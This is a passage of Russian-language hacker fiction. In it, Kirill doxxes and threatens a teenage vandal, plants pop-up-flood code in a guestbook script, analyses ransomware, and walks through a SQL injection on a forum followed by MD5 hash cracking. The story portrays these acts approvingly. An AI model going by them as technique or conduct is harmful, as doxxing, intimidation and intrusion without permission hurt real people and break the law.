Explorer 6.0 на компе с Windows 2000, а часовой пояс у него настроен москов‐
ский. Кирилл пробежался по  соседним запросам: вот неизвестный открыл
страницу гостевой книги, вот отправил форму, а затем перешел на страничку
с  результатами, любуясь содеянным. Сравнив User-Agent в  этих записях,
Кирилл убедился, что перед ним один и тот же пользователь.

Интересно, а кому принадлежит этот айпишник? Он открыл терминал, наб‐
рал на клавиатуре команды  и  , пробежался глазами

по  выводу консоли. Среди вороха прочих данных база RIPE выдала запись:
«LENTRANSMASH-SPB Network». На всякий случай Кирилл пинганул адрес —
тот откликнулся, значит, машина жива.

whois dig -x IP +short

Поискав в сети, Кирилл быстро нашел этот самый «Лентрансмаш» — боль‐
шое научно‑производственное объединение на  южной окраине города.
Видимо, безобразник пользовался папиной служебной персоналкой
за неимением домашнего компьютера: об этом говорило и то, что все сооб‐
щения отправлялись строго в рабочее время, до восемнадцати нуль‑нуль, и к
тому же после трех пополудни, когда заканчивались занятия в  школе. Да  и
двухтысячная винда намекала: это определенно конторский комп, обитающий
в пыльном кабинете какого‑нибудь замшелого госпредприятия.

Рассчитывая хоть на  какой‑то полезный улов, Кирилл забил ник iV1rus
в  «Гугле», «Рамблере» и  «Яндексе». Удача оказалась на  его стороне: поис‐
ковики выдали не  только ICQ UIN, принадлежащий пользователю по  имени
Ivan Zarubin, но в дополнение к нему — кучу постов этого юзера на форумах
overclockers.ru, gametech.ru и  cyberforum.ru. На  аватарке «Киберфорума»
Кирилл узнал давешнего любителя пива, которого выгнал накануне из компь‐
ютерного клуба, а  в профиле обнаружил адрес электронной почты. Он поб‐
родил по выдаче «Гугла» еще немного. В ответ на следующий запрос из недр
поисковой системы выплыло имя и настоящего владельца персоналки: Вла‐
димир Зарубин, главный инженер «Лентрансмаша». Усмехнувшись, Кирилл
запустил почтовик и, поглядывая на мигающий курсор, начал набирать строч‐
ку за строчкой:

 Ivan Zarubin

 admin@bluescreen.plink.spb.ru

 Покайся, ибо грядёт!

To:

From:

Subject:

Здравствуй, Ванюша.
Да‑да, именно ты.
Мне понравились твои шутки в  гостевой книге на  хоумпаге

bluescreen.plink.spb.ru. Правда, IP, с  которого ты туда писал, ведет в  «Лен‐
трансмаш», в кабинет главного инженера — твоего отца, Владимира Заруби‐
на. Я знаю, что ты учишься в школе на Братской улице, знаю твой домашний
адрес, знаю, какая система стоит на компе твоего папы и как зовут твою так‐
су. Я мог бы зайти на этот комп и поменять заставку на твое фото в розовом
купальнике, отправить лог твоих подвигов директору школы и  на почту отца
или просто хакнуть твой аккаунт на Cyberforum и подписать все твои посты: «Я
люблю Барби» (кстати, пароль там у тебя не самый надежный). Но я добрый :).
Поэтому у тебя есть ровно сутки, чтобы:
1. Извиниться в гостевой.
2. Написать, что Админ — крут.

Иначе я запущу операцию «Папа в ярости».
Выбор за тобой, iV1rus.

Kicks, тот‑кто‑всегда‑в-сети.
Перечитав с  улыбкой написанное, Кирилл нажал на  кнопку, отправляя

письмо адресату. Осталось подкрепить свои угрозы чем‑то чуть более дей‐
ственным, нежели простые слова. Поскольку веб‑страницы гостевой книги
создавались при  вызове CGI-скрипта автоматически, Кирилл добавил в  код
пару строк, которые в момент обращения к этому скрипту проверяли IP-адрес
посетителя и  заносили его в  переменную . На  всякий случай Кирилл

решил получить и  реальный адрес пользователя с  помощью параметра
 — вдруг тот все‑таки знает, что такое прокси. Конеч‐

но, первый адрес в цепочке не всегда гарантированно настоящий клиентский
IP  — заголовки можно и  подделать, но  на такое наш Ванюша вряд ли спо‐
собен. Это значение Кирилл поместил в переменную . Если любой

из  полученных IP-адресов совпадал с  айпишником лентрансмашевского
компьютера, забитого в переменную , вступала в действие вторая

часть программы.

$ip

HTTP_X_FORWARDED_FOR

$real_ip

$lamer_ip

Кирилл знал: одно из  наиболее слабых мест Internet Explorer версии  6  зак‐
лючается в том, что при большом числе обращений к удаленным узлам бра‐
узер получает множество HTTP-ответов, а  из‑за особенностей управления
окнами и  памятью это  приводит к  зависанию программы. Если с  помощью
цикла попытаться открыть на  машине Вани Зарубина примерно сто тысяч
окон Internet Explorer, браузер попросту рухнет под  собственной тяжестью.
Крутилась бы на его машине Windows 98 или Millennium, «Эксплорер» похоро‐
нил  бы операционную систему под  своими руинами, но  двухтысячная,
пожалуй, выдержит. Ко всему прочему, с использованием нескольких простых
команд JavaScript эти окна можно открывать в полноэкранном режиме, пред‐
варительно убрав из  интерфейса браузера все средства управления, из‑за
чего закрыть их будет не так‑то просто…

Примитивно, конечно, но  придумывать более изощренную подлянку
Кириллу было сейчас лень. С  какой  бы целью Ваня ни  зашел теперь в  гос‐
тевую  — написать очередную гадость или  все‑таки извиниться, его будет
ждать очень неприятный сюрприз…

Кирилл откинулся на  спинку стула, довольный проделанной работой.
В  голове уже рисовалась картина, как  школьник начнет в  панике метаться
между сотнями всплывающих окон, не понимая, что происходит. Это чувство
грело лучше, чем батарея центрального отопления. Минимум усилий — мак‐
симум эффекта, зато гостевая теперь под его полным контролем, а малолет‐
ний ламер будет знать, что интернет  — это  не место для  безнаказанных
выходок. Потянувшись за  наушниками, Кирилл включил музыку и  впервые
за сегодняшний день позволил себе расслабиться. Мельком взглянул на часы
в  нижнем углу экрана: до  закрытия магазинчика, что обосновался в  цоколь‐
ном этаже соседнего дома, есть еще  несколько часов, а  значит, он успеет
пополнить запасы продуктов.

В поход за  едой он заставил себя отправиться минут через сорок.
Нацепил на ноги не успевшие толком просохнуть ботинки, запихнул в карман
куртки мятый полиэтиленовый пакет и  достал из  кармана ключи. Размышляя
о  том, что приготовить сегодня на  ужин, да  еще и  с таким расчетом, чтобы
хватило на пару дней, он принялся запирать входную дверь, когда его неожи‐
данно окликнули.

— Добрый вечер, Кирилл!
Сосед из квартиры напротив, приметный старик с пышными седыми уса‐

ми, вышел на свой традиционный променад до мусоропровода в синих тре‐
нировочных штанах и с пластмассовым ведром в руках.

— Здравствуйте, — вежливо кивнул Кирилл.
— Борис Семенович,  — представился сосед.  — Ты извини, пожалуйста,

что я вот так беззастенчиво тебя задерживаю, но вот хотел с одной неболь‐
шой просьбой обратиться. Можно?

Кирилл подтолкнул непослушную дверь коленом, и  замок наконец зак‐
рылся.

— Пожалуйста.
— У  меня тут с  компьютером что‑то случилось. Не  то вирус какой под‐

цепил, не то сломалось чего. А мне без компьютера никак, я через него и с
дочкой общаюсь, и внука увидеть могу, не на коленках покачать, ну хоть так.
Посмотришь, когда свободная минутка появится?

— Конечно, — пожал плечами Кирилл.
— Вот спасибо! — расплылся в улыбке Борис Семенович. — Я, знаешь ли,

еще  шахматы очень люблю. Раньше ведь как  было: хочешь с  кем‑то в  шах‐
маты сразиться, можно по переписке партию организовать. Пишешь свой ход
на бумаге и отправляешь письмом. Так письмо‑то долго идет, а потом ждешь
ответа еще  месяц, оттого партия, бывает, и  на год растягивается. А  сейчас
все проще стало: зашел в интернет и выбирай себе соперника по силам, хоть
из Владивостока, хоть из Америки… Ты сам‑то в шахматы играешь?

— Не доводилось.
— А  я тебя научу, коли захочешь. Только сначала нужно компьютер

починить.
«Почему  бы и  не помочь старику?  — подумал про  себя Кирилл.  — Тем

более это  отличный повод наладить отношения с  живущим напротив пен‐
сионером, к  которому можно будет потом обратиться, случись такая нужда.
Вряд ли там с компом что‑то серьезное…»

И вдруг замер на месте.
А ведь он никогда раньше не называл соседу своего имени. И тем более

не говорил, что каким‑то образом связан с компьютерами. © X
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— Как  тебя зовут, я в  квитанции подсмотрел,  — хитро при‐
щурившись, пояснил Борис Семенович,  — у  тебя же поч‐
товый ящик не  запирается. А  еще слышал на  днях, когда
на  лавке у  парадной сидел, как  пацаны с  соседнего дома
обсуждали, что ты в  местном компьютерном клубе работа‐
ешь. Ты как  раз мимо проходил, они тебя и  узнали. Ну так
что, зайдешь?

— Зайду, — кивнул Кирилл, — можно даже прямо сегодня, если не поздно.
Поесть вот только куплю.

— Добро,  — с  довольным видом кивнул Борис Семенович,  — тогда я
дверь закрывать не буду.

«Надо же, — подумал Кирилл, спускаясь по лестнице, — этот сосед прямо
Штирлиц какой‑то. И  имя узнал, и  место работы выяснил, и  сделал далеко
идущие выводы. Интересный дед, ничего не скажешь. Надо бы на всякий слу‐
чай приглядеться к нему получше».

Закинув пакет с  покупками домой и  спрятав все скоропортящееся
в холодильник, Кирилл переобулся в домашние шлепанцы и пересек лестнич‐
ную площадку. Соседская дверь и впрямь оказалась не заперта: за ней обна‐
ружилась тесная прихожая, в точности такая же, как и в его однушке. Со ста‐
рым ремонтом, но  совсем не  обтрепанная, скорее наоборот, аккуратно
убранная и ухоженная.

— Проходи сюда, — донесся из глубины квартиры голос Бориса Семено‐
вича, — дверь захлопни просто.

Кирилл вошел в  комнату и  огляделся. Складывалось ощущение, будто
это  жилище застыло где‑то в  середине восьмидесятых: старая советская
стенка с  выставкой фарфоровых чашек за  толстым стеклом, лакированная
радиола, оборудованная проигрывателем виниловых пластинок, журнальный
столик, на  котором покоятся очки в  роговой оправе и  лежит недочитанная
книжка Бушкова с  закладкой посередине, телевизор «Рубин» в  углу. Запах
в комнате тоже как будто явился откуда‑то из прошлого: терпкая смесь ста‐
рой мебели, пожелтевшей бумаги и чуть уловимого табака, хотя пепельницы
на  виду не  было. Кажется, так пахло в  районной библиотеке, куда Кирилл
иногда заглядывал после школы в далеком детстве. На стене отмеряли время
тихим, но  настойчивым тиканьем часы с  бронзовым маятником. Все вещи
вроде  бы регулярно используются, но  в то же время лежат так аккуратно,
словно каждая имеет свое строго отведенное место и любое нарушение это‐
го порядка сразу бросилось бы в глаза. Более‑менее современным выглядел
разве что компьютер на письменном столе, да и тот — с пузатым электрон‐
но‑лучевым монитором и массивной клавиатурой, пластик которой приобрел
от времени благородный оттенок слоновой кости.

— Ну что, сосед, — сказал хозяин негромко, — проходи, не стесняйся. У меня
тут не музей, хотя, наверное, похоже.

Кирилл скользнул взглядом по  книжной полке, где выстроились ровными
рядами разноцветные корешки еще советских изданий: высшая математика,
справочники по статистике и теории вероятностей, основы математического
анализа… Интересно, кем старик был в прошлом? Преподавателем? Научным
сотрудником в каком‑нибудь НИИ?

— Вот, взгляни, какая беда приключилась, — посетовал Борис Семенович,
с  кряхтением уступая своему гостю место за  письменным столом.  — Я тут
решил свои воспоминания записывать, думаю, может, внуку интересно будет
почитать. На днях собрался посмотреть файлы со старыми заметками, а они
не открываются…

Такого Кирилл раньше не видел. На соседском компьютере действительно
порезвился троян, но  понять, какой именно, с  ходу не  получилось. Кирилл
ожидал обнаружить что‑нибудь вроде привычного винлокера, однако эта
программа действовала совершенно иначе. Содержимое вордовских фай‐
лов, на  которые указал Борис Семенович, превратилось в  неаппетитную
на  вид кашу: ни  заголовков, ни  знакомых структур, ни  сохраненных данных
о форматировании. Покопавшись на диске, Кирилл обнаружил, что в точности
такая же участь постигла таблицы Excel, ZIP-архивы, картинки и даже тексто‐
вые файлы. За  исключением сиротливо лежащего в  корне диска файлика

, в  котором отыскалась короткая инструкция: «Some files are
coded by RSA method. To buy decoder mail with subject: REPLY», а дальше вид‐
нелся адрес электронной почты в домене . Похоже, троян аккуратно

зашифровал все файлы на жестком диске, не тронув программы и компонен‐
ты операционной системы, чтобы не  нарушить ненароком работоспособ‐
ность машины. Если написать по  этому адресу, догадался Кирилл, злодеи
потребуют денег, пообещав вернуть побитые шифром файлы. И не факт, что
пришлют потом «лекарство». А  если пришлют, вполне возможно, оно и  не
сработает…

Readme.txt

mail.ru

Ради интереса он прокрутил на экране содержимое нескольких докумен‐
тов, пытаясь на  глаз оценить закономерности в  потоке разномастных сим‐
волов. Если  бы троян просто поксорил содержимое файлов, их можно
было  бы восстановить относительно легко, однако здесь, похоже, дела
обстояли куда серьезнее. Байты не  повторялись отдельными блоками и  не
обладали характерными признаками XOR’а или  какого‑нибудь банального
шифра подстановки, скорее это  выглядело как  результат настоящего асим‐
метричного шифрования: хаотично, равномерно, без  явной узнаваемой
структуры.

— Ну чего там? — завозился у него над ухом Борис Семенович.
От старика пахло каким‑то ванильным кремом для  бритья и  немного

табачным дымом.
— Похоже, вы и вправду подцепили вирусню, которая зашифровала ваши

данные, — ответил Кирилл, повернувшись к соседу, — и я сомневаюсь, что их
получится восстановить. Слишком стойкий алгоритм.

— Вот как? — крякнул Борис Семенович и с досадой почесал в затылке.
— Смотрите,  — пустился в  пояснения Кирилл,  — вот у  вас есть замок.

Но  ключа от  него два. Один, ну как  обычный ключ, закрывает и  открывает.
А второй… второй — только закрывает. Понимаете?

Сосед нахмурился, но слушал молча, не перебивая.
— Ну то есть… — Кирилл махнул рукой, подбирая слова, — допустим, у вас

есть почтовый ящик. Ключ от него только у вас, а у остальных — нет. Но если
кто‑то хочет вам что‑то отправить, он может просто кинуть письмо через
щель. Так вот RSA примерно так и  работает: есть «щель»  — это  открытый
ключ. Все могут ею воспользоваться. Но достать письмо обратно, прочитать
его — может только хозяин ящика, у которого есть закрытый ключ.

— М‑м-м, — протянул Борис Семенович, и Кирилл оживился:
— И чтобы совсем просто: возьмем два огромных числа, перемножим —

это быстро. А вот обратно разделить, догадаться, какие именно числа у нас
были изначально, — уже гораздо сложнее, так ведь? Вот на этом и держится
шифр.

Борис Семенович кивнул, прищурился и вдруг спросил тихо:
— Длина ключа‑то какая?
Кирилл задумался, не сразу уловив подвох.
— Ну‑у… — протянул он, — там обычно… ну, зависит от…
— Если ключ среднесиловой, длиной  56  бит, то прямым перебором его

можно найти…
Борис Семенович закатил глаза и зашевелил губами:
— Два да  в пятьдесят шестой степени… С  учетом комбинаторной слож‐

ности… Возьмем десяток миллионов операций в  секунду… Да  за пару дней
можно подобрать, пожалуй. А  вот если там  67  бит, то это  аж в  два в  один‐
надцатой степени раза сложнее. Каждый лишний бит удваивает количество
вариантов. Это  уже ключик с  усиленной криптографической стойкостью
получается, тут за десяток лет не справиться…

Кирилл слегка опешил от услышанного.
— Вы… откуда это знаете?
Сосед усмехнулся.
— Занимался криптографией на  службе. С  начала шестидесятых еще.

До  того, как  такие штуки стали называться «асимметричными алгоритмами»
в широких кругах. Работа интересная была, конечно, только вот рассказывать
о ней запрещалось…

Он махнул рукой, как будто отгоняя старые воспоминания. Кирилл сидел,
не зная, что ответить.

— А ты хорошо объяснил, — мягко улыбнулся Борис Семенович, — доход‐
чиво, любой школьник бы понял. Сразу видно, толковый парень, не зря я тебя
позвал.

— Ну… — задумчиво протянул Кирилл, — даже если там 64-битный ключ,
брутить, то есть перебирать его по словарю, совсем не обязательно…

Борис Семенович заинтересованно поднял бровь.
— Я имею в виду, что если нам удастся найти на вашем компьютере саму

вредоносную программу и  хорошенько ее изучить, то в  ней вполне могут
отыскаться ошибки и  изъяны. Может, она комбинирует ключ на  основе
текущей даты или  серийного номера оборудования… Тогда подобрать его
будет намного проще.

— Справишься?
— Попробую.
Троян и  вправду нашелся во  временной папке учетной записи,

под  которой работал Борис Семенович. Очень серьезная оплошность:
если  бы этого вредоноса писал сам Кирилл, он  бы запустил его копию
в памяти, а исходную программу на диске стер. Может, авторы малвари и сам
ключ куда‑нибудь в зашифрованный файл записали? Скопировав на флешку
трояна и  на всякий случай все поврежденные документы, Кирилл забил
в  свою трубку телефон соседа, назвав не  без доли ехидства новый контакт
«Криптодед», и пообещал позвонить, как только что‑нибудь выяснит.

День в «Синем экране» выдался на удивление спокойным: в зале было занято
только три компьютера, а посетители вели себя тихо и порядок не нарушали.
Кирилл уже почти поверил в то, что смена выдастся легкой и у него получится
заняться собственными делами, например разобраться с  доставшимся
от  Криптодеда трояном. Однако чуда все‑таки не  случилось: дверь со  скри‐
пом распахнулась, и на пороге нарисовался Ваня Зарубин собственной пер‐
соной, в вытянутой кожаной куртке и порванных на коленях джинсах. Ну, хоть
без пива, и это уже можно было записать в плюс.

— Э… здорова, — протянул он, настороженно оглядываясь по сторонам.
Кирилл молча поднял глаза.
— Я это… Хотел на  сайт зайти, ну, чтобы извиниться в  гостевухе,

туда‑сюда…
— И что? Заблудился по дороге?
— Не, там, короче, стали какие‑то окна открываться, и  все зависло

на  хрен, я психанул, пришлось машину перезагружать… Я потом еще  поп‐
робовал…

— Всего один раз попробовал? — едва сдерживая смех, уточнил Кирилл.
— Да раза три… В общем, я решил сам прийти.
Паренек помялся, не зная, куда девать руки, затравленно оглянулся и про‐

должил:
— Ты это, извини, короче. Я же не знал… Админ крут, и все такое. Не, ну ты

реально крут, без базара. Слушай, а как ты вычислил, что я с батиного компа
в сеть выхожу? Ну, и школу там, домашний адрес?

— Много будешь знать — скоро состаришься.
Его домашнего адреса Кирилл, конечно, не знал, просто наплел для крас‐

ного словца. Хотя мог  бы и  выяснить, если  бы захотел, невелика тайна.
Со школой дела обстояли еще проще: она в окрестностях была всего одна.

— А ты чё, реально хакер? — не унимался Зарубин, придвинувшись поб‐
лиже.

— Реальней некуда.
— Настоящий?
— Игрушечный, блин. Тебе чего надо‑то? Извинился  — молодец, теперь

вали отсюда и  не греши, тогда папа не  узнает, чем ты занимаешься на  его
компе после уроков.

— Так это… — Парень безропотно проглотил обидное предложение сва‐
лить и снова замялся, с трудом подбирая слова. Наконец, набравшись сме‐
лости, выпалил: — Возьми меня в падаваны!

— Чего?
Кирилл, конечно, был знаком с  терминологией из  лукасовской кинов‐

селенной, но просьба прозвучала настолько неожиданно, что он слегка опе‐
шил. Парень произнес это  так, будто и  вправду собрался вступить в  тайный
клуб джедаев. Кирилл закатил глаза и повернулся к экрану.

— Слушай, иди лучше в школу учись. А поддавать у тебя и без меня нор‐
мально получается.

В зале кто‑то прыснул от смеха, уловив последние слова.
— Не, Кикс, я серьезно говорю,  — подросток шагнул ближе, уперся

руками в стойку и, наклонившись вперед, понизил голос, чтобы его не могли
расслышать посетители: — Я толковый! Могу ночами сидеть, все делать, что
скажешь, я у бати на работе сторожа знаю, меня пропустят.

Кирилл представил себе, чем школьник может заниматься ночами
за  компьютером, и  с трудом сдержал ухмылку. С  другой стороны, паренька
вполне можно припахать к  какой‑нибудь мелкой работе: обжимать витуху,
тянуть кабели, настраивать драйвера на клубных машинах… Но Кирилл тут же
отогнал эту мысль.

— Сказал же: не надо мне учеников.
— А вот ники для хакеров кто придумывает? — не унимался подросток, и в

его глазах зажегся тот самый огонек упрямства, который Кирилл уже видел
в зеркале лет пять назад. — Ну, их на хакерских тусовках выдают или как? Вот
если бы я был твоим падаваном, ты какой ник посоветовал бы мне взять?

— Вантуз,  — стараясь сохранять серьезное выражение лица, ответил
Кирилл, и  в зале раздался уже откровенный хохот,  — ты же Ваня, значит,
будешь Вантузом. Годится?

— Не, ну ты чё, в натуре… — обиженно протянул Иван, — мне вот «айви‐
рус», с единичкой вместо и, больше нравится…

— Ник еще заслужить надо, — с важным видом произнес Кирилл. — Всё,
исчезни в туман, не зли меня. Я, когда злой, за себя не отвечаю.

— Ладно,  — отступил к  дверям Ваня‑Вантуз,  — но  я это… еще  вернусь,
короче.

Поднявшись по ступеням, он растворился в морозном мареве.
Сплавив назойливого школьника, Кирилл решил пробежаться по форумам

в  надежде отыскать какую‑то информацию о  заразившем соседский компь‐
ютер шифровальщике — вполне возможно, его уже кто‑то успел расковырять
до  него, что сэкономит кучу времени. На  бордах было глухо как  в танке,
коротенькая заметка обнаружилась только на  появившемся c месяц назад
портале «Anti-Malware», да и там не раскрывалось никаких подробностей.

Кирилл по привычке отщелкивал ссылки дальше: «Античат», «h@ckingnet»,
пара площадок, где тусовались чуваки, делившиеся друг с  другом дампами
памяти и  скриптами… И  вдруг взгляд зацепился за  необычный ник в  одном
из свежих топиков: WWWедьма. Разговор шел не о троянах: обсуждали про‐
изводителей антивирусов, начавших шлепать сигнатуры не  на сами вре‐
доносные программы, а на популярные у их авторов упаковщики, из‑за чего
под  детект автоматически попала куча полезного хакерского софта. Воз‐
мущенная WWWедьма писала, что вирусных аналитиков, судя по всему, под‐
бирают по одному характерному анатомическому признаку — доширак вмес‐
то мозгов.

И эту фразочку Кирилл слышал очень много раз.

Стараясь справиться с  волнением, он открыл форумный профайл WWWедь‐
мы  — никаких контактных данных, ни  адреса электронной почты, ни  номера
аськи. Хотя какая‑то почта, конечно же, все‑таки хранится в базе, ведь движок
форума должен куда‑то отправлять регистрационную информацию и служеб‐
ные оповещения. Щелкнув на ссылке в профиле, Кирилл вывел все оставлен‐
ные WWWедьмой сообщения и  почувствовал, что интуиция его не  подвела.
Внизу чуть ли не половины своих постов WWWедьма оставляла «(с)», не ради
авторских прав, а  скорее ради прикола. Эта привычка тоже была ему очень
хорошо знакома — реплику «Кирюха тормоз (с)» он часто видел в переписке
и СМС. А вот в одной из веток WWWедьма упомянула «Терминус» — старый
IRC-сервер, слишком малонаселенный, чтобы случайная девчонка из  сети
могла так невзначай о  нем вспомнить. Там они частенько зависали ночами
в те времена, когда…

Кирилл откинулся на  спинку кресла. Под  ником WWWедьма скрывалась
Трикси, теперь он был уверен в этом на все сто процентов.

Сердце неприятно ухнуло вниз: будто прошлое, которое он уже аккуратно
сложил в коробку и задвинул на верхнюю полку памяти, внезапно спрыгнуло
оттуда и  вылезло обратно в  реальность. Незнакомый ник, чужие обсужде‐
ния — и такие до боли знакомые интонации. Она почти не изменилась: все та
же едкая манера спорить, все та же легкая насмешка над собой. Кирилл про‐
вел пальцами по клавиатуре, будто колебался: написать в личку? Но что ска‐
зать? «Привет, это я»? Трикси не ответит или, как это уже было раньше, снова
исчезнет в никуда.

Он еще  раз перечитал пару ее сообщений. За  бегущими по  экрану фра‐
зами сквозило то, что Трикси, похоже, никуда не делась из сетевой тусовки —
наоборот, чувствовала себя здесь как  рыба в  воде. Упоминала свежие экс‐
плоиты, спорила с  какими‑то ребятами об  анализе трафика, обменивалась
ссылками — и делала это с азартом.

А значит, еще не все потеряно.
Кирилл поймал себя на том, что уголки его губ предательски растянулись

в улыбке. © X
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Прошлые отношения чем‑то похожи на  старый рекламный
баннер в  интернете. Ты уже давно его не  замечаешь, про‐
листываешь страницу не глядя, но где‑то в глубинах сайта он
продолжает мигать тусклой надписью «Купи счастье», пока
не приходит момент и ты вдруг не наводишь на него курсор
мыши, чтобы звонко щелкнуть ее левой клавишей. Кирилл
щелкнул. Только на  этот раз «ссылка» вела в  глубины
форума, где среди аватарок и  никнеймов прятались чужие
жизни, а заодно — нужные ему контакты для связи с той, что
называла себя WWWедьмой.

Сегодня Кирилл вернулся из  «Синего экрана», когда за  окном уже сгу‐
щалась вечерняя тьма. В  квартире пахло пылью и  вчерашним ужином  —
запахи, которые ты перестаешь замечать, если живешь с ними слишком дол‐
го. Он поставил турку на  плиту, машинально засыпал ложку дешевого
«Жокея»  — и  через минуту едва не  пропустил момент, когда кофе решил
устроить побег. Спасая алюминиевую посудину от  черной пены, Кирилл
подумал, что все это очень символично: даже кофе стремится к свободе.

Он перелил кофе в  кружку, опустился в  любимое продавленное кресло,
которое именно поэтому стало таким удобным, и включил ноутбук. Сначала —
разведка. Всегда так: прежде чем лезть в  чужой дом, лучше заранее пос‐
мотреть, сколько у  него дверей, окон и  насколько зубастая собака бегает
во дворе. Кирилл открыл браузер, привычно вбил адрес , сде‐

лал глоток кофе и  поморщился  — слишком горький, но  именно такой ему
и нравился больше всего.

domainsdb.net

На хосте жило целых три домена, но два из них не резолвилось, а третий,
как  раз и  принадлежавший форуму, имел поддомен с  говорящим именем
admin. Кирилл заглянул по этому адресу — стандартная форма авторизации,
скучная до  зубовного скрежета. Белая страница, поля для  ввода логина
и  пароля, кнопка Submit. На  всякий случай он вдумчиво просмотрел HTML-
код: тоже ничего интересного, никаких скрытых параметров форма на сервер
не передавала, а вводимые в нее значения аккуратно фильтровались. Шутки
ради Кирилл набрал на  клавиатуре «admin/admin», полюбовался на  ожи‐
даемое «Invalid Username or Password» и закрыл окошко. Здесь определенно
тупик.

Если ты знаешь, на  чем стоит здание, всегда легче найти, как  его обру‐
шить: то ли кирпичи расшатать, то ли осторожно разобрать фундамент. Толь‐
ко вот форум оказался выстроен на  самописном движке  — а  значит, ждать
подарков в виде готовых уязвимостей было бессмысленно. Сделав еще один
глоток остывающего кофе, Кирилл привычно нырнул в  сеть сквозь цепочку
прокси. Несколько минут  — и  у него появилась свежесозданная учетка.
Под  ником без  биографии и  истории он принялся неторопливо бродить
по  форумным закоулкам, читая чужие перепалки и  ленивые размышления
о жизни.

Наткнувшись на  один из  постов WWWедьмы с  аватаркой в  виде высунув‐
шего язык озорного котенка, Кирилл щелкнул мышью на  картинке. Котенок
показал язык уже во весь экран, в отдельном окошке без каких‑либо элемен‐
тов навигации, кроме стандартных кнопок «закрыть‑свернуть», и он невольно
усмехнулся. Правой кнопкой мыши Киря открыл картинку в  новом окне
и  взглянул на  адрес. После домена значился скрипт, которому в  параметре
передавался внутренний номер пользователя: . Он

машинально приписал к  адресу одинокую кавычку, будто кинул камешек
в колодец — и теперь ждал, донесется ли в ответ эхо.

showpic.php?id=2082

По экрану промелькнули строчки:

Warning: mysql_fetch_array(): supplied
argument is not a valid MySQL
 result resource
in /home/www/mboard/public_html/showpic.php on line 72

После этого его перебросило обратно на  главную страницу форума, как  ни
в чем не бывало. В комнате стало тихо, слышалось лишь приглушенное бор‐
мотание телевизора где‑то за  стеной. Кирилл откинулся на  спинку кресла,
отпил еще  один глоток и  почувствовал легкое возбуждение  — то самое,
которое возникает, когда находишь первую трещину в монолитной стене. Код
пишут люди, а  людям свойственно ошибаться  — самописные движки тем
и  хороши, что программисты редко думают, будто кто‑то станет копать чуть
глубже, чем надо. Он на секунду закрыл глаза, прислушался к себе. В такие
моменты все вокруг будто растворяется — остается только тускло светящий‐
ся монитор, курсор и ты. Реальность сужается до мигающих пикселей и бай‐
тов данных, бегущих по проводам.

Кирилл снова сосредоточился на  экране. На  этот раз цель была ясна:
выяснить, сколько полей в  таблице, и  понять, какие из  них можно исполь‐
зовать, чтобы вытащить информацию наружу. Он строил свои запросы к базе,
как шахматист изучает ходы противника. Конструкция  не работала,
поэтому пришлось действовать вручную, методично подбирая поля одно
за  другим. Всего их оказалось двенадцать, а  таблица, в  которой хранились
данные юзеров, носила незамысловатое имя  — . Вот и  еще одна
маленькая трещина в бетонной стене. Именно такие трещины делают жизнь
интересной для тех, кто умеет их видеть сквозь толщу серой штукатурки.

ORDER BY

members

Теперь предстояло подобрать имена полей. Стандартные , 

и   не подошли, и Кирилл начал перебирать варианты с различными пре‐
фиксами и  окончаниями. Наконец удача улыбнулась ему. Поля, отвечающие
за  пароли и  почту, носили имена  и  , только

для  имени учетной записи использовалось совсем непохожее на  них
. Этих сведений уже оказалось достаточно, чтобы извлечь из  базы

самое ценное.

user password
email

member_mail member_password

username

Он аккуратно составил SQL-запрос, объединяя нужные поля в одну строку,
чтобы не пришлось прыгать по таблице, как тому котенку по крыше, а все важ‐
ные сведения выплыли вместе и  не потерялись в  хаосе. Enter. Экран ожил
и  выплюнул адрес электронной почты админа, сопровождающийся длинной
последовательностью латинских символов и  цифр. Кирилл вполголоса
выругался: пароль оказался зашифрован с  помощью MD5. Не  смертельно,
конечно, но  радость от  первого успеха куда‑то испарилась. Дверь в  чужой
дом чуть приоткрылась, однако само здание все еще оставалось неприступ‐
ным.

Первое, что пришло на ум, — тот самый канадский дедик, который он уже
использовал для  взлома пароля от  икс‑байтовского вайфая. Кирилл быстро
подключился к  серверу, привычно проверил скорость отклика и  с облегче‐
нием выдохнул: все работало. Инструмент был надежным, как автомат Калаш‐
никова, разве что подбор пароля по хешу может занять немалое время. Что ж,
пускай заокеанская машина трудится, а  он тем временем может заняться
чем‑нибудь другим.

Ноутбук тихо зашуршал, и  вентилятор на  секунду раскрутился сильнее.
Чтобы успокоить его, Кирилл закрыл лишнюю вкладку браузера, и  в этот
самый момент наступившую тишину нарушил тревожный треск дверного
звонка. Кирилл непроизвольно вздрогнул: он не ждал гостей. Интересно, кого
это принесло на ночь глядя? Соседа, решившего исполнить свое давнее обе‐
щание и обучить его шахматным премудростям?

Поймав ногами разбежавшиеся под столом тапки, он вышел в прихожую.
Глазка в старой двери не имелось, надо бы врезать на всякий случай… При‐
ложив ухо к двери, Кирилл прислушался. Сначала показалось, что лестничная
клетка пуста, — сквозь щель, из которой отчетливо тянуло холодом, доносил‐
ся только слабый шум машин и  далекий лай собаки, но  потом послышалось
шуршание и чье‑то приглушенное дыхание.

— Кто? — громко спросил он.
— Кирюх, открывай, — нетерпеливо ответили с той стороны.
Кирилл провернул замок, и  в квартиру ввалилась сутулая фигура в  кур‐

тке‑дутике, замерла, с  интересом оглядывая окружающую действительность
сквозь толстые стекла очков.

— Сорян, что так поздно,  — пробормотал нежданный визитер, рассте‐
гивая куртку, — фух, душно тут у тебя. Ты бы проветрил, что ли?

— Здорово, Серёга,  — поприветствовал совладельца «Синего экрана»
Кирилл.

Сергей по‑прежнему дежурил в клубе все дни, когда Кирилл отсутствовал,
самоотверженно админил технику, разруливал мелкие конфликты и  спорил
с арендодателем за каждую копейку в счете на электричество. Разве что нем‐
ного расслабился, когда у него появился сменщик. Домашний адрес Кирилла
он знал: тот сам оставил его, когда устраивался в «Синий экран».

Серёга неловко потоптался, пристраивая куртку на вешалке. Было видно:
пришел он не ради дружеской беседы.

— Слушай… у нас, короче, фигня. — Сергей понизил голос, будто боялся,
что даже облупленные стены со  старыми обоями могут донести его слова
куда не  надо.  — Вчера вечером в  клуб типы заходили, но  не играть. Такие,
знаешь, характерные, бошки бритые, морды квадратные. Пытались вызнать,
кто у  нас самый главный, сколько платим за  аренду, сколько за  коммуналку,
высматривали и вынюхивали все вокруг.

Кирилл нахмурился:
— Крышу, что ли, предлагали?
— Я тоже так подумал, — кивнул Сергей, — но не угадал. Они помаячили,

в сортир заглянули и свалили, но пообещали скоро вернуться. С Тамарой.
— Это кто такая?
— Да тетка из районной управы, которая нам подвал сдает. Я ей позвонил

сразу, спросил, мол, что за  фигня происходит? Она немного помялась
